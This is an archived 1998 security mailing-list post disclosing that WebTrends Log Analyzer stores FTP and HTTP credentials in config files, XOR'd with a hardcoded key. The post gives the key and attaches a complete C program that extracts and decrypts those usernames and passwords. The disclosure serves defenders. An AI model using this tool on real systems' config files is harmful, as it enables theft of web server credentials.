WebTrends Log Analyzer password grabber

From: Chris Wilson (cwilso03at_private)
Date: Thu Aug 20 1998 - 04:26:44 PDT

  • Next message: routeat_private: "Again."

    ----------
    X-Sun-Data-Type: text
    X-Sun-Data-Description: text
    X-Sun-Data-Name: text
    X-Sun-Charset: us-ascii
    X-Sun-Content-Lines: 65
    
    I put the following together back in June and was reminded I didn't
    send it out when I saw the QuickBooks password grabber exploit posted
    yesterday.  Sorry for the lengthy message; I was frustrated with
    WebTrends' response when I wrote it.
    
    The code's attached.
    
    -Chris
    
    
    -----BEGIN PGP SIGNED MESSAGE-----
    
    The WebTrends Log Analyzer (http://www.webtrends.com/) is a reporting
    tool to allow web admins to generate website usage reports from web
    server logfiles.  The tool is able to retrieve logfiles remotely via
    HTTP or FTP to do the reporting.
    
    The problem is that any FTP and HTTP username and password information
    used to access the web server's log files is insecurely stored in
    configuration files.  Specifically, the information is XOR'ed with a
    hardcoded 16-byte key.  If the username and/or password exceed 16
    characters, the key wraps around and is reused.
    
    What makes the issue worse is, in using FTP or HTTP where a username
    and password are required, there is no option in the program to *NOT*
    save the username and password information.  If you leave the password
    field empty, the connection to the web server fails.
    
    Granted, this vulnerability is only an issue if an unauthorized user
    can access the configuration files for the Log Analyzer.  But, if the
    software is put on a fileserver, anyone with fileserver access is (by
    default) able to read the configuration files, making the web server's
    host vulnerable.
    
    I contacted WebTrends over a month ago about the vulnerability; the
    people I talked with dismissed the issue and for the last three weeks
    have ignored my attempts to contact them.
    
    The following simple little C program will take the data file name and
    pull out the username/password information.
    
    If you use the WebTrends Log Analyzer, the only recommended workaround
    is to not use its remote connection capabilities where a username
    and password are required.
    
    - -Chris
    +----------------------------------------------------------------------+
    | Christopher Wilson                   chris.wilsonat_private         |
    | Harris Corporation               +-----------------------------+     |
    | 1025 W Nasa Blvd, MS 75             For PGP public key, finger       |
    | Melbourne, FL 32919               cwilso03at_private     |
    +----------------------------------------------------------------------+
    (cwilson) ~cwilson% /usr/local/bin/fortune
    43rd Law of Computing:
            Anything that can go wr
    Segmentation Fault (core dumped)
    
    -----BEGIN PGP SIGNATURE-----
    Version: 2.6.2
    
    iQB1AwUBNZK5ZPwnuQEQYhQZAQFmfgL/RhhAph9vq1GEOtH2qvvq7JC2B5crGOFK
    nH7uUL5DWd6d0eMp5TpLqBU+HsqjeOnFQpzFHO+xclsaAFfbXvsw0Xu53AA/0IeZ
    OFq2VkDFnQ6ZbFv1mMSTR2mOaqOHLfDT
    =a311
    -----END PGP SIGNATURE-----
    ----------
    X-Sun-Data-Type: c-file
    X-Sun-Data-Description: c-file
    X-Sun-Data-Name: main.c
    X-Sun-Charset: us-ascii
    X-Sun-Content-Lines: 140
    
    /*
     *  WebTrends data file username/password cracker
     *
     *  The WebTrends Log Analyzer is a reporting tool to allow web admins
     *  to generate website usage reports from server logfiles.  The Analyzer
     *  is able to retrieve logfiles remotely via HTTP or FTP to do the
     *  reporting.  Username and password information for the remote FTP server
     *  or secure HTTP server access is stored in a file with a ".wlp" extension
     *  in the directory <WebTrends_base_dir>\wtm_log\datfiles.  This file looks
     *  basically like a Windows "ini" file, and contains information about the
     *  "Web Log Profile" configured in the Log Analyzer software.
     *
     *  The username and password strings are "encrypted" with a simple XOR cipher
     *  using a 16-byte key (0x1206f0c3903d0328e023ab00912feabc).  If the username
     *  and/or password exceed 16 characters, the key wraps around and is reused.
     *
     *  The following C program will take the data file name and pull out the
     *  username/password information.
     *
     *  The program was written and compiled on Solaris 2.5.1, but should work
     *  on any platform (UN*X or Windows) where the offset returned by ftell() is
     *  in bytes.
     *
     *  Disclaimer:  This program and the information and algorithms contained
     *               within it are for educational purposes only!  Neither I nor
     *               Harris Corporation are responsible for how it is used or
     *               events resulting from its use.
     *
     *  You can do what you want with this code as long as this header block
     *  remains intact.
     *
     *  To compile:   gcc -o blah main.c
     *
     *  To run:       blah  (for all you non-coders out there....)
     *
     *  Note:  This was tested against WebTrends Log Analyzer version 4.1a,
     *         Build Date 3/24/1998, Build Number 1026
     *
     *  By:  Christopher Wilson (chris.wilsonat_private) on 05/21/1998
     *
     */
    
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int main ()
      {
      char filename[FILENAME_MAX];
      FILE *ifp;
      long len;
      unsigned char *file_data = 0;
      unsigned char *token = 0;
      unsigned char line_sep[3] = { 0x0a, 0x0d, 0x00 };
    
      /* get the data file name */
      printf("Enter path to WebTrends .wlp file:\n");
      printf("(hint:  try <WebTrends_base_dir>\\wtm_log\\datfiles\\*.wlp):  ");
    
      fgets(filename, sizeof(filename), stdin);
    
      if (filename[strlen(filename) - 1] == '\n')
        {
        filename[strlen(filename) - 1] = 0;
        }
    
      if ((ifp = fopen(filename, "rb")) == 0)
        {
        fprintf(stderr, "*** Error opening file '%s'.  Exiting...\n", filename);
        return(1);
        }
    
      /* figure out the size of the file and malloc space to hold its data */
      if (fseek(ifp, 0, SEEK_END) == -1)
        {
        fprintf(stderr, "*** Error determining file size for file '%s'.  Exiting...\n", filename);
        return(1);
        }
    
      len = ftell(ifp);
      rewind(ifp);
    
      file_data = (unsigned char *)malloc(len * sizeof(unsigned char));
    
      /* now read it in */
      if (fread(file_data, sizeof(unsigned char), len, ifp) == 0)
        {
        perror("Error reading file");
        }
    
      /*
       * process each line of the file, looking for the lines that start with
       * "LogFileUsername" or "LogFilePassword".  These are the ones to crack.
       */
      token = (unsigned char *)strtok(file_data, line_sep);
      while (token != 0)
        {
        if ((strncmp(token, "LogFileUsername", strlen("LogFileUsername")) == 0) ||
            (strncmp(token, "LogFilePassword", strlen("LogFilePassword")) == 0))
          {
          /* found a relevant line */
          unsigned char *encrypt_start = (unsigned char *)strchr(token, '=') + 1;
          if (encrypt_start == (unsigned char *)1)
            {
            fprintf(stderr, "*** Log file corrupted, reading line that says:\n%s\n",
                    token);
            }
          else
            {
            /* this is the XOR cipher's 16-byte key (duh) */
            unsigned char key[16] = { 0x12, 0x06, 0xf0, 0xc3,
                                      0x90, 0x3d, 0x03, 0x28,
                                      0xe0, 0x23, 0xab, 0x00,
                                      0x91, 0x2f, 0xea, 0xbc };
            char label[16];
            int count = 0;
    
            /*
             * this is just so we can label the output as "Username" or
             * "Password".
             */
            memset(label, 0, sizeof(label));
            strncpy(label, token, 15);
            printf("%s = '", label);
    
            /* now let's "decrypt" the bytes of the username/password */
            while (encrypt_start[count] != 0)
              {
              printf("%c", encrypt_start[count] ^ key[count % 16]);
              count++;
              }
            printf("' (without the quotes ('))\n");
            }
          }
        token = (unsigned char *)strtok(0, line_sep);
        }
      free(file_data);
      return(0);
      }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:13:22 PDT